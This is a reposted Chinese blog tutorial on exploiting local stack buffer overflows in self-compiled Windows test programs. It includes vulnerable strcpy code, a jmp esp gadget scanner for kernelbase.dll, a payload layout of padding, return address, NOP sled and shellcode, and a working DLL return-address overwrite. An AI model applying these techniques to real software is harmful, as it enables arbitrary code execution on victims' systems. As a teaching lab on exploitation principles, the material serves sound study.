博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
本地缓冲区溢出分析
阅读量:5118 次
发布时间:2019-06-13

本文共 5178 字,大约阅读时间需要 17 分钟。

栈溢出是缓冲区溢出中最为常见的一种攻击手法,其原理是,程序在运行时栈地址是由操作系统来负责维护的,在我们调用函数时,程序会将当前函数的下一条指令的地址压入栈中,而函数执行完毕后,则会通过ret指令从栈地址中弹出压入的返回地址,并将返回地址重新装载到EIP指令指针寄存器中,从而继续运行,然而将这种控制程序执行流程的地址保存到栈中,必然会给栈溢出攻击带来可行性。

前面的笔记《缓冲区溢出与攻防博弈》中已经具体的介绍了缓冲区溢出的基本知识,也了解到了攻防双方技术的博弈过程,本次我们将来看几个简单的本地溢出案例,本次测试环境为Windows10系统+VS 2013编译器,该编译器默认开启GS保护,在下方的实验中需要手动将其关闭。

C语言中通常会提供给我们标准的函数库,这些标准函数如果使用不当则会造成意想不到的后果。

strcpy()                    vfscanf()strcat()                     vsprintf()sprintf()                    vscanf()scanf()                     vsscanf()sscanf()                   streadd()fscanf()                    strecpy()

针对EXE文件的溢出利用

以下案例就是利用了 strcpy() 函数的漏洞从而实现溢出的,程序运行后用户从命令行传入一个参数,该参数的大小是不固定的,传入参数后由内部的 geting()函数接收,并通过strcpy()函数将临时数据赋值到name变量中,最后将其打印出来,很明显代码中并没有对用户输入的变量进行长度的限定。

#include 
#include
void geting(char *temp){ char name[10]; strcpy(name, temp); printf("%s \n", name);}int main(int argc,char *argv[]){ geting(argv[1]); return 0;}

直接保存为overflow.c然后执行 cl /Zi /GS- overflow.c 编译并生成可执行文件,参数中的/GS-就是关闭当前的GS保护。

C:\Users\LyShark\Desktop>cl /Zi /GS- overflow.c用于 x86 的 Microsoft (R) C/C++ 优化编译器 18.00.21005.1overflow.cMicrosoft (R) Incremental Linker Version 12.00.21005.1Copyright (C) Microsoft Corporation.  All rights reserved./out:overflow.exe/debugoverflow.obj

接着我们需要在命令行界面中运行来启动调试器,其中第一个参数 overflow.exe 就是我们的程序名,第二个参数是传入命令行参数,我们首先传入一个正常大小的字符串。

C:\OllyICE> OllyICE.exe overflow.exe hello

载入上面所编写的 exe 程序。由于我们需要从 main 函数开始分析,但是OD并没有在main函数处停下,而是停在了程序的初始化部分,如下图所示:

1379525-20190830164208046-702010802.png

上方这些代码并不是我们写的而是编译器自动生成的,这里我们无需关心这些代码片段,我们只需要找到程序的OPE入口即可,通过观察获取,这里经过不断地分析找到了程序的OEP 0012A1050,直接在此处下断点。

1379525-20190830164843647-741548305.png

进一步分析后观察发现,下方代码就是我们程序中的 geting()这个函数,溢出也正是发生在这里的,注意堆栈变化。

1379525-20190830165055823-1631244055.png

这里由于我们传递了正常的参数,所以没有溢出,下图可看出程序正常返回并没有覆盖ESP/EIP等指针。

1379525-20190830165232806-1929231113.png

重新运行程序,然后输入一个超长字符串,这里我就输入一串 lysharkAAAAAAAAABBBB

1379525-20190830165546501-1935235949.png

上方截图可知,程序的返回地址已被BBBB等字母霸占了,当程序执行ret指令返回时,程序会在堆栈中取出42424242并将该地址赋值给EIP指针,而42424242这个地址是错误的指令,所以程序会报错。

1379525-20190830165918587-1698061595.png

除此之外还需要查找系统中的跳板指令,这里的跳板是程序中原有的机器码,其包括如 jmp esp,call esp,jmp ecx等,我们需要利用这些跳板指令完成对堆栈地址的定位。

再次运行程序,然后输入一个正常字符串 lyshark ,用OD载入,执行到main函数最后的位置,即retn语句处,此时我们关注一下esp寄存器所保存的值:

1379525-20190830170545131-1715345594.png

上图可知,现在esp中保存的值是012A1067,而在栈中这个地址对应的就是我们的返回地址,即我们下一条语句的位置。然后我们此时再按一下F8,单步执行,那么此时Geting()函数就会执行完毕:

1379525-20190830170827507-807846473.png

我们还发现ESP指针的值会自动变成返回地址的下一个位置,而esp的这种变化,一般是不受任何情况影响的,因为堆栈的地址是动态变化的,所以我们才需要找到一个跳板函数来实现跳转到堆栈中布置好的ShellCode中去。

jmp esp 这条机器指令,在很多动态连接库中都存在,jmp esp的机器码是0xFFE4,我们可以编写一个程序,来在kernelbase.dll中查找是否存在jmp esp 指令,需要注意的是,这里必须查找程序中已经加载的动态链接库。

#include 
#include
#include
int main(){ BYTE *ptr; int position; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary("kernelbase.dll"); ptr = (BYTE*)handle; for (position = 0; !done_flag; position++) { try { if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4) { int address = (int)ptr + position; printf("找到跳板指令:0x%x\n", address); } } catch (...) { int address = (int)ptr + position; printf("结束指针位置:0x%x\n", address); done_flag = true; } } getchar(); return 0;}

上方代码运行后,会得到一个跳板地址 0x76c2fb75 如下,当然其他的模块中可能存在更多的跳板指令。

1379525-20190830171430756-358755799.png

我们手动将堆栈中的 424242 替换为 0x76c2fb75 注意该地址应该反写,如下所示:

1379525-20190830171843162-182315395.png

当程序运行时,首先会ret返回,而程序返回会在堆栈中将 0x76c2fb75 这个内存地址回写到 EIP中,然后会执行第一次跳转,其跳转到 kernelbase.dll 中的 jmp esp 中。

1379525-20190830172330898-1304847983.png

观察发现,esp指针的地址是 013DFBE8 ,也就将当前程序的控制流指向了堆栈中,我们只需要在堆栈中布置好合理的ShellCode就可以执行任意代码。

至此该程序就分析完毕了,经过分析我们的ShellCode代码应该这样构建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode

这里的A 代表的是正常输出内容,其作用是正好不多不少的填充满这个缓冲区。

这里的B 代表的是 jmp esp 的机器指令,该处应该为 0x76c2fb75 。
这里的N 代表Nop雪橇的填充,一般的 20 个Nop左右就好。
这里 ShellCode 就是我们要执行的恶意代码啦。

输入方式应该是,当程序运行后会先跳转到 jmp esp 并执行该指令,然后jmp esp 会跳转到 nop雪橇的位置,程序的执行流会顺着nop雪橇滑向ShellCode代码,从而实现反弹Shell。

D:\OllyICE> OllyICE.exe overflow.exe Ax16 + jmp esp + nop x 20 + ShellCode

针对Dll文件的溢出利用

很多时候我们要分析的目标不是一个EXE可执行文件,而是一个DLL文件,这样的例子很多,比如Windows系统中有很多系统模块都是DLL文件,这些文件如果出现漏洞该如何利用呢?接下来我们将来研究针对DLL文件的利用方法,最后编写利用代码实现DLL文件的利用。

1.首先我们先来创建一个 ntdll.cpp 的可执行文件,其中有两个函数,一个是弹窗提示,而另一个则是字符串的拷贝函数,编译这个DLL文件。

#include 
#include
#pragma comment(lib,"User32.lib")bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid){ return true;}extern "C"__declspec(dllexport) void ntMsgBox(){ ::MessageBox(NULL,TEXT("hello lyshark"),TEXT("MsgBox"),MB_OK);}extern "C"__declspec(dllexport) void ntCheck(char *Code){ char name[10]; strcpy(name,Code); printf("Buffer Is: %s",Code);}C:\Users\> cl /c /GS- /EHsc ntdll.cppC:\Users\> link /dll ntdll.obj

接着我们通过缓冲区溢出漏洞,实现调用 ntCheck函数是,让其弹出 MsgBox 提示框,通过OD分析找到MsgBox地址是 0x5BAB1090 接着编写利用代码如下:

#include 
#include
#include
typedef void(*MyPROC)(char *);int main(){ HINSTANCE libHandle; MyPROC Func; char DllName[] = "./ntdll.dll"; libHandle = LoadLibrary(DllName); Func = (MyPROC)GetProcAddress(libHandle, "ntCheck"); char Str[0x4096]; char source[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41" // 填充满缓冲区 "\x90\x10\xab\x5b" // 跳转到MsgBox memcpy(Str,source,sizeof(source)); (Func)(Str); FreeLibrary(libHandle); return 0;}

随着编译器厂商和操作系统厂商的各种新技术的出现,这些传统的缓冲区溢出的利用已经变得非常困难了,所以以上笔记只能作为原理方面的研究,并没有实际价值。

转载于:https://www.cnblogs.com/LyShark/p/11434201.html

你可能感兴趣的文章
bzoj2038 [2009国家集训队]小Z的袜子(hose)
查看>>
Java反射机制及其Class类浅析
查看>>
Postman-----如何导入和导出
查看>>
移动设备显示尺寸大全 CSS3媒体查询
查看>>
图片等比例缩放及图片上下剧中
查看>>
【转载】Linux screen 命令详解
查看>>
background-clip,background-origin
查看>>
Android 高级UI设计笔记12:ImageSwitcher图片切换器
查看>>
Blog文章待看
查看>>
【Linux】ping命令详解
查看>>
对团队成员公开感谢博客
查看>>
java学习第三天
查看>>
python目录
查看>>
django+uwsgi+nginx+sqlite3部署+screen
查看>>
Andriod小型管理系统(Activity,SQLite库操作,ListView操作)(源代码下载)
查看>>
在Server上得到数据组装成HTML后导出到Excel。两种方法。
查看>>
浅谈项目需求变更管理
查看>>
经典算法系列一-快速排序
查看>>
设置java web工程中默认访问首页的几种方式
查看>>
ASP.NET MVC 拓展ViewResult实现word文档下载
查看>>